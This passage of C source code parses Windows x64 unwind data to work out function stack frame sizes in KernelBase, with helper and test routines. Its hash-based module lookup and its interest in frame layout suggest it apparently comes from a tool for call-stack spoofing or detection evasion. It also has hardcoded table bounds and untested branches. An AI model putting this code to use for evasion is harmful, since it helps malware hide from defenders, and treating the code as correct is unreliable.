1563 | unwindCode = (PUNWIND_CODE)((PWORD)unwindCode + 1);
1564 | DPRINTUNWINDCODE(unwindCode);
1565 |
1566 | // Keep track of current node
1567 | nodeIndex++;
1568 | // Register size in next slot
1569 | frameSize = unwindCode->FrameOffset;
1570 |
1571 | if (unwindCode->OpInfo == 0) {
1572 | // If the operation info equals 0, then the size of the allocation divided by 8
1573 | // is recorded in the next slot, allowing an allocation up to 512K - 8.
1574 | // We already advanced of 1 slot, and recorded the allocation size
1575 | // We just need to multiply it for 8 to get the unscaled allocation size
1576 | frameSize *= 8;
1577 | }
1578 | else
1579 | {
1580 | // If the operation info equals 1, then the unscaled size of the allocation is
1581 | // recorded in the next two slots in little-endian format, allowing allocations
1582 | // up to 4GB - 8.
1583 | // Skip to next Unwind Code
1584 | unwindCode = (PUNWIND_CODE)((PWORD)unwindCode + 1);
1585 | // Keep track of current node
1586 | nodeIndex++;
1587 | // Unmask the rest of the allocation size
1588 | frameSize += unwindCode->FrameOffset << 16;
1589 |
1590 | }
1591 | DPRINT("Final Frame Size: 0x%x\n", frameSize);
1592 | *targetStackOffset += frameSize;
1593 | break;
1594 |
1595 | case UWOP_ALLOC_SMALL: // 2
1596 |
1597 | // Allocate a small-sized area on the stack. The size of the allocation is the operation
1598 | // info field * 8 + 8, allowing allocations from 8 to 128 bytes.
1599 | *targetStackOffset += 8 * (unwindCode->OpInfo + 1);
1600 | break;
1601 |
1602 |
1603 | case UWOP_SET_FPREG: // 3
1604 | // Establish the frame pointer register by setting the register to some offset of the current RSP.
1605 | // The offset is equal to the Frame Register offset (scaled) field in the UNWIND_INFO * 16, allowing
1606 | // offsets from 0 to 240. The use of an offset permits establishing a frame pointer that points to the
1607 | // middle of the fixed stack allocation, helping code density by allowing more accesses to use short
1608 | // instruction forms. The operation info field is reserved and shouldn't be used.
1609 |
1610 | if (BitEHandler(unwindInfo->Flags) && BitChainInfo(unwindInfo->Flags)) {
1611 | return 0;
1612 | }
1613 |
1614 | UWOP_SET_FPREG_HIT = TRUE;
1615 |
1616 | frameSize = -0x10 * (unwindInfo->FrameOffset);
1617 | *targetStackOffset += frameSize;
1618 | break;
1619 |
1620 |
1621 | case UWOP_SAVE_NONVOL: // 4
1622 | // Save a nonvolatile integer register on the stack using a MOV instead of a PUSH. This code is
1623 | // primarily used for shrink-wrapping, where a nonvolatile register is saved to the stack in a position
1624 | // that was previously allocated. The operation info is the number of the register. The scaled-by-8
1625 | // stack offset is recorded in the next unwind operation code slot, as described in the note above.
1626 | if (unwindCode->OpInfo == RBP || unwindCode->OpInfo == RSP) {
1627 | return 0;
1628 | }
1629 | // Skip to next Unwind Code
1630 | unwindCode = (PUNWIND_CODE)((PWORD)unwindCode + 1);
1631 | nodeIndex++;
1632 |
1633 | // For future use
1634 | *((ULONG*)&ctx + unwindCode->OpInfo) = *targetStackOffset + (DWORD)((PUNWIND_CODE)((PWORD)unwindCode + 1))->FrameOffset * 8;
1635 | DPRINTCTX(ctx);
1636 |
1637 | break;
1638 | case UWOP_SAVE_NONVOL_BIG: // 5
1639 | // Save a nonvolatile integer register on the stack with a long offset, using a MOV instead of a PUSH.
1640 | // This code is primarily used for shrink-wrapping, where a nonvolatile register is saved to the stack
1641 | // in a position that was previously allocated. The operation info is the number of the register.
1642 | // The unscaled stack offset is recorded in the next two unwind operation code slots, as described
1643 | // in the note above.
1644 | if (unwindCode->OpInfo == RBP || unwindCode->OpInfo == RSP) {
1645 | return 0;
1646 | }
1647 |
1648 | // For future use
1649 | *((ULONG*)&ctx + unwindCode->OpInfo) = *targetStackOffset + (DWORD)((PUNWIND_CODE)((PWORD)unwindCode + 1))->FrameOffset;
1650 | *((ULONG*)&ctx + unwindCode->OpInfo) += (DWORD)((PUNWIND_CODE)((PWORD)unwindCode + 2))->FrameOffset << 16;
1651 |
1652 | // Skip the other two nodes used for this unwind operation
1653 | unwindCode = (PUNWIND_CODE)((PWORD)unwindCode + 2);
1654 | nodeIndex += 2;
1655 |
1656 | DPRINTCTX(ctx);
1657 | break;
1658 |
1659 | case UWOP_EPILOG: // 6
1660 | case UWOP_SAVE_XMM128: // 8
1661 | // Save all 128 bits of a nonvolatile XMM register on the stack. The operation info is the number of
1662 | // the register. The scaled-by-16 stack offset is recorded in the next slot.
1663 |
1664 | // TODO: Handle this
1665 |
1666 | // Skip to next Unwind Code
1667 | unwindCode = (PUNWIND_CODE)((PWORD)unwindCode + 1);
1668 | nodeIndex++;
1669 | break;
1670 | case UWOP_SPARE_CODE: // 7
1671 | case UWOP_SAVE_XMM128BIG: // 9
1672 | // Save all 128 bits of a nonvolatile XMM register on the stack with a long offset. The operation info
1673 | // is the number of the register. The unscaled stack offset is recorded in the next two slots.
1674 |
1675 | // TODO: Handle this
1676 |
1677 | // Advancing next 2 nodes
1678 | unwindCode = (PUNWIND_CODE)((PWORD)unwindCode + 2);
1679 | nodeIndex += 2;
1680 | break;
1681 | case UWOP_PUSH_MACH_FRAME: // 10
1682 | // Push a machine frame. This unwind code is used to record the effect of a hardware interrupt or exception.
1683 | // There are two forms.
1684 |
1685 | // NOTE: UNTESTED
1686 | // TODO: Test this
1687 | if (unwindCode->OpInfo == 0) {
1688 | *targetStackOffset += 0x40;
1689 | }
1690 | else {
1691 | *targetStackOffset += 0x48;
1692 | }
1693 | break;
1694 | }
1695 |
1696 | unwindCode = (PUNWIND_CODE)((PWORD)unwindCode + 1);
1697 | nodeIndex++;
1698 | }
1699 |
1700 | // If chained unwind information is present then we need to
1701 | // also recursively parse this and add to total stack size.
1702 | if (BitChainInfo(unwindInfo->Flags))
1703 | {
1704 | nodeIndex = unwindInfo->CountOfCodes;
1705 | if (0 != (nodeIndex & 1))
1706 | {
1707 | nodeIndex += 1;
1708 | }
1709 | pChainedFunction = (PRUNTIME_FUNCTION)(&unwindInfo->UnwindCode[nodeIndex]);
1710 | return GetStackFrameSize(hModule, (PUNWIND_INFO)((UINT64)hModule + (DWORD)pChainedFunction->UnwindData), targetStackOffset);
1711 | }
1712 |
1713 | return UWOP_SET_FPREG_HIT;
1714 |
1715 |
1716 | }
1717 |
1718 |
1719 | /*********************************************************************************
1720 |
1721 | HELPER FUNCTIONS
1722 |
1723 | *********************************************************************************/
1724 |
1725 |
1726 | void LookupSymbolFromRTIndex(HMODULE dllBase, int rtFuntionIndex, bool verbose) {
1727 |
1728 |
1729 | PIMAGE_RUNTIME_FUNCTION_ENTRY rtFunction = RTFindFunctionByIndex((UINT64)dllBase, rtFuntionIndex);
1730 |
1731 | if (rtFunction == NULL) {
1732 | printf("Function not found\n");
1733 | return;
1734 | }
1735 |
1736 | if (verbose) {
1737 | printf("Function found: \n");
1738 | printf(" Begin Address 0x%x \n", rtFunction->BeginAddress);
1739 | printf(" End Address 0x%x \n", rtFunction->EndAddress);
1740 | printf(" Unwind Info Address 0x%x \n", rtFunction->UnwindInfoAddress);
1741 | printf("Looking up in exports... \n");
1742 | }
1743 | char* procName = GetSymbolNameByOffset(dllBase, rtFunction->BeginAddress);
1744 |
1745 | if (procName == NULL) {
1746 | if (verbose) {
1747 | printf("Function not found\n");
1748 | }
1749 | return;
1750 | }
1751 |
1752 | printf("Function %u found: %s\n", rtFuntionIndex, procName);
1753 |
1754 | if (verbose) {
1755 | PrintUnwindInfo(dllBase, (PVOID)((UINT64)rtFunction->UnwindData));
1756 | }
1757 |
1758 | return;
1759 | }
1760 |
1761 | void PrintUnwindInfo(HMODULE dllBase, PVOID unwindDataAddress) {
1762 |
1763 | PUNWIND_INFO tInfo = (PUNWIND_INFO)((UINT64)dllBase + (DWORD)((UINT64)unwindDataAddress));
1764 |
1765 | printf(" Version: %d \n", Version(tInfo->Flags));
1766 | printf(" Ver + Flags: " B2BP " \n", BYTE_TO_BINARY(tInfo->Flags));
1767 | printf(" SizeOfProlog: 0x%x \n", tInfo->SizeOfProlog);
1768 | printf(" CountOfCodes: 0x%x \n", tInfo->CountOfCodes);
1769 | printf(" FrameRegister: 0x%x \n", tInfo->FrameRegister);
1770 | printf(" FrameOffset: 0x%x \n", tInfo->FrameOffset);
1771 |
1772 | for (int j = 0; j < tInfo->CountOfCodes; j++) {
1773 | printf(" UnwindCode [%d] \n", j);
1774 | printf(" Frame Offset: 0x%x\n", tInfo->UnwindCode[j].FrameOffset);
1775 | printf(" Code Offset: 0x%x \n", tInfo->UnwindCode[j].CodeOffset);
1776 | printf(" UnwindOp: 0x%x \n", tInfo->UnwindCode[j].UnwindOp);
1777 | printf(" UnwindOpInfo: 0x%x\n", tInfo->UnwindCode[j].OpInfo);
1778 | }
1779 |
1780 | if (BitChainInfo(tInfo->Flags)) {
1781 | printf(" Function Entry Offset: 0x%p\n", GetChainedFunctionEntry(dllBase, tInfo));
1782 | }
1783 | if (BitUHandler(tInfo->Flags)) {
1784 |
1785 | }
1786 | if (BitEHandler(tInfo->Flags)) {
1787 | PVOID dataPtr = GetExceptionDataPtr(tInfo);
1788 | PVOID handlerPtr = GetExceptionHandler(dllBase, tInfo);
1789 | ULONG data = *((PULONG)dataPtr);
1790 | INT32 handler = *((PDWORD)handlerPtr);
1791 |
1792 | printf(" Exception Handler Offset: 0x%p\n", GetExceptionHandler(dllBase, tInfo));
1793 | printf(" Exception Data Offset: 0x%x\n", data);
1794 | }
1795 |
1796 | return;
1797 | }
1798 |
1799 | void EnumAllRTFunctions(HMODULE moduleBase)
1800 | {
1801 | DWORD tSize;
1802 | PRUNTIME_FUNCTION pRuntimeFunctionTable;
1803 |
1804 | pRuntimeFunctionTable = (PRUNTIME_FUNCTION)(GetExceptionDirectoryAddress(moduleBase, &tSize));
1805 |
1806 | for (DWORD i = 0; i <= 5038; i++)
1807 | {
1808 | /*
1809 | PRUNTIME_FUNCTION rtft = (PRUNTIME_FUNCTION)(imageExportDirectory + 0xc*i);
1810 |
1811 | */
1812 |
1813 | printf("Runtime Function %u \n", i);
1814 | printf(" Begin Address 0x%x\n End Address 0x%x\n Unwind Info Address 0x%x\n",
1815 | pRuntimeFunctionTable[i].BeginAddress,
1816 | pRuntimeFunctionTable[i].EndAddress,
1817 | pRuntimeFunctionTable[i].UnwindInfoAddress);
1818 |
1819 | PrintUnwindInfo(moduleBase, (PVOID)((UINT64)pRuntimeFunctionTable[i].UnwindData));
1820 |
1821 | }
1822 | // printf(BYTE_TO_BINARY_PATTERN"\n", BYTE_TO_BINARY(UBYTE(UNW_FLAG_CHAININFO | UNW_FLAG_UHANDLER| UNW_FLAG_EHANDLER )));
1823 |
1824 | }
1825 |
1826 |
1827 | PIMAGE_RUNTIME_FUNCTION_ENTRY RTFindFunctionByAddressInTable(PRUNTIME_FUNCTION pRuntimeFunctionTable, PIMAGE_EXPORT_DIRECTORY pImageExportDirectory, DWORD64 functionOffset) {
1828 |
1829 | for (DWORD i = 0; i < pImageExportDirectory->NumberOfFunctions; i++)
1830 | {
1831 | if (pRuntimeFunctionTable[i].BeginAddress == functionOffset) {
1832 |
1833 | return pRuntimeFunctionTable + i;
1834 | }
1835 | }
1836 | return NULL;
1837 | }
1838 |
1839 | PIMAGE_RUNTIME_FUNCTION_ENTRY RTFindFunctionByAddressInRFTable(PRUNTIME_FUNCTION pRuntimeFunctionTable, DWORD rtLastIndex, DWORD64 functionOffset) {
1840 |
1841 | for (DWORD i = 0; i < rtLastIndex; i++)
1842 | {
1843 | if (pRuntimeFunctionTable[i].BeginAddress == functionOffset) {
1844 |
1845 | return pRuntimeFunctionTable + i;
1846 | }
1847 | }
1848 | return NULL;
1849 | }
1850 |
1851 |
1852 | PIMAGE_RUNTIME_FUNCTION_ENTRY RTFindFunctionByAddress(UINT64 modulelBase, DWORD64 functionOffset) {
1853 |
1854 | DWORD tSize;
1855 | PRUNTIME_FUNCTION pRuntimeFunctionTable;
1856 | PIMAGE_EXPORT_DIRECTORY pImageExportDirectory;
1857 |
1858 | pRuntimeFunctionTable = (PRUNTIME_FUNCTION)(GetExceptionDirectoryAddress((HMODULE)modulelBase, &tSize));
1859 | pImageExportDirectory = (PIMAGE_EXPORT_DIRECTORY)(GetExportDirectoryAddress((HMODULE)modulelBase));
1860 |
1861 | for (DWORD i = 0; i < pImageExportDirectory->NumberOfFunctions; i++)
1862 | {
1863 | if (pRuntimeFunctionTable[i].BeginAddress == functionOffset) {
1864 |
1865 | return pRuntimeFunctionTable + i;
1866 | }
1867 | }
1868 | return NULL;
1869 | }
1870 |
1871 | PIMAGE_RUNTIME_FUNCTION_ENTRY RTFindFunctionByIndex(UINT64 kernelBase, DWORD index) {
1872 |
1873 | DWORD tSize;
1874 | PRUNTIME_FUNCTION pRuntimeFunctionTable;
1875 | PIMAGE_EXPORT_DIRECTORY pImageExportDirectory;
1876 |
1877 | pRuntimeFunctionTable = (PRUNTIME_FUNCTION)(GetExceptionDirectoryAddress((HMODULE)kernelBase, &tSize));
1878 | pImageExportDirectory = (PIMAGE_EXPORT_DIRECTORY)(GetExportDirectoryAddress((HMODULE)kernelBase));
1879 |
1880 | return pRuntimeFunctionTable + index;
1881 | }
1882 |
1883 | DWORD FindRTFunctionsUnwind(HMODULE moduleBase, PVOID tUnwindCodeAddress) {
1884 |
1885 | DWORD tSize;
1886 | PUNWIND_CODE tUnwindCode;
1887 | PUNWIND_INFO unwindInfo;
1888 | PRUNTIME_FUNCTION pRuntimeFunctionTable;
1889 |
1890 | tUnwindCode = (PUNWIND_CODE)tUnwindCodeAddress;
1891 | pRuntimeFunctionTable = (PRUNTIME_FUNCTION)(GetExceptionDirectoryAddress(moduleBase, &tSize));
1892 |
1893 | for (DWORD i = 0; i <= 5038; i++)
1894 | {
1895 |
1896 | unwindInfo = (PUNWIND_INFO)((UINT64)moduleBase + (DWORD)pRuntimeFunctionTable[i].UnwindData);
1897 | for (int j = 0; j < unwindInfo->CountOfCodes; j++) {
1898 |
1899 | if (unwindInfo->UnwindCode[j].FrameOffset == tUnwindCode->FrameOffset) {
1900 |
1901 | printf("Found frame offset with Runtime Function: %u, unwindCode: %u \n", i + 1, j);
1902 | printf("Found: 0x%x - Expected: 0x%x \n", unwindInfo->UnwindCode[j].FrameOffset, tUnwindCode->FrameOffset);
1903 | printf("Address in module: 0x%p \n", (PVOID)((UINT64)moduleBase + (DWORD)pRuntimeFunctionTable[i].BeginAddress));
1904 |
1905 | return i;
1906 |
1907 | }
1908 |
1909 | // TODO: Implement the rest after
1910 |
1911 | }
1912 |
1913 | }
1914 | printf("Function not found\n");
1915 |
1916 | return 0;
1917 |
1918 | }
1919 |
1920 | /*********************************************************************************
1921 |
1922 | TESTING FUNCTIONS
1923 |
1924 | *********************************************************************************/
1925 |
1926 |
1927 | void TestLookupByFrameOffset() {
1928 | UNWIND_CODE tUnwindCode;
1929 | HMODULE kernelBase;
1930 | DWORD offset;
1931 |
1932 | tUnwindCode.FrameOffset = 0x2313;
1933 | kernelBase = (HMODULE)GetModule(KERNELBASE_HASH);
1934 | offset = FindRTFunctionsUnwind(kernelBase, &tUnwindCode);
1935 |
1936 | LookupSymbolFromRTIndex(kernelBase, offset, TRUE);
1937 | }
1938 |
1939 | void TestLocateFunctionByAddress() {
1940 | PERF rtFunction;
1941 | HMODULE kernelBase;
1942 | UINT64 procOffset;
1943 | PUNWIND_INFO tInfo;
1944 |
1945 | kernelBase = (HMODULE)GetModule(KERNELBASE_HASH);
1946 | procOffset = GetSymbolOffset(kernelBase, "Internal_EnumSystemLocales");
1947 | rtFunction = RTFindFunctionByAddress((UINT64)kernelBase, procOffset);
1948 |
1949 | printf("Function Offset: 0x%I64X\n", (ULONGLONG)procOffset);
1950 |
1951 | if (rtFunction == NULL) {
1952 | printf("Function not found\n");
1953 | return;
1954 | }
1955 | printf("Function found: \n");
1956 | printf(" Begin Address 0x%08x\n End Address 0x%08x\n Unwind Info Address 0x%08x\n", rtFunction->BeginAddress, rtFunction->EndAddress, rtFunction->UnwindInfoAddress);
1957 |
1958 | tInfo = (PUNWIND_INFO)((UINT64)kernelBase + (DWORD)rtFunction->UnwindData);
1959 |
1960 | PrintUnwindInfo(kernelBase, (PVOID)((UINT64)rtFunction->UnwindData));
1961 | }
1962 |
1963 | void TestEnumAllRT(DWORD moduleHash) {
1964 | EnumAllRTFunctions((HMODULE)GetModule(moduleHash));
1965 | }
1966 |
1967 | void Test()
1968 | {
1969 | PERF rtFunction;
1970 | HMODULE kernelBase;
1971 | HMODULE ntdllBase;
1972 | HMODULE mainModule;
1973 | UINT64 procOffset;
1974 | PUNWIND_INFO tInfo;
1975 | UINT errc;
1976 | LPCSTR tFunction;
1977 |
1978 | kernelBase = (HMODULE)GetModule(KERNELBASE_HASH);
1979 | ntdllBase = (HMODULE)GetModule(NTDLL_HASH);
1980 | mainModule = GetModuleHandle(NULL);
1981 | errc = 0;
1982 | tFunction = "UrlHashW";
1983 | /*
1984 | tFunction = "SystemTimeToTzSpecificLocalTimeEx";
1985 | tFunction = "NtWriteVirtualMemory";
1986 | tFunction = "CreatePrivateObjectSecurity";
1987 | */
1988 |
1989 | procOffset = GetSymbolOffset(kernelBase, tFunction);
1990 | rtFunction = RTFindFunctionByAddress((UINT64)kernelBase, procOffset);
1991 | if (rtFunction == NULL) {
1992 | printf("Function not found\n");
1993 | return;
1994 | }
1995 |
1996 | printf("Function Offset: 0x%I64X\n", procOffset);
1997 | printf("Function %s found: \n", tFunction);
1998 | printf(" Begin Address 0x%08x\n End Address 0x%08x\n Unwind Info Address 0x%08x\n", rtFunction->BeginAddress, rtFunction->EndAddress, rtFunction->UnwindInfoAddress);
1999 |
2000 | tInfo = (PUNWIND_INFO)((UINT64)kernelBase + (DWORD)rtFunction->UnwindData);
2001 | PrintUnwindInfo(kernelBase, (PVOID)((UINT64)rtFunction->UnwindData));
2002 | GetStackFrameSize(kernelBase, tInfo, NULL);
2003 | return;
2004 | }
--------------------------------------------------------------------------------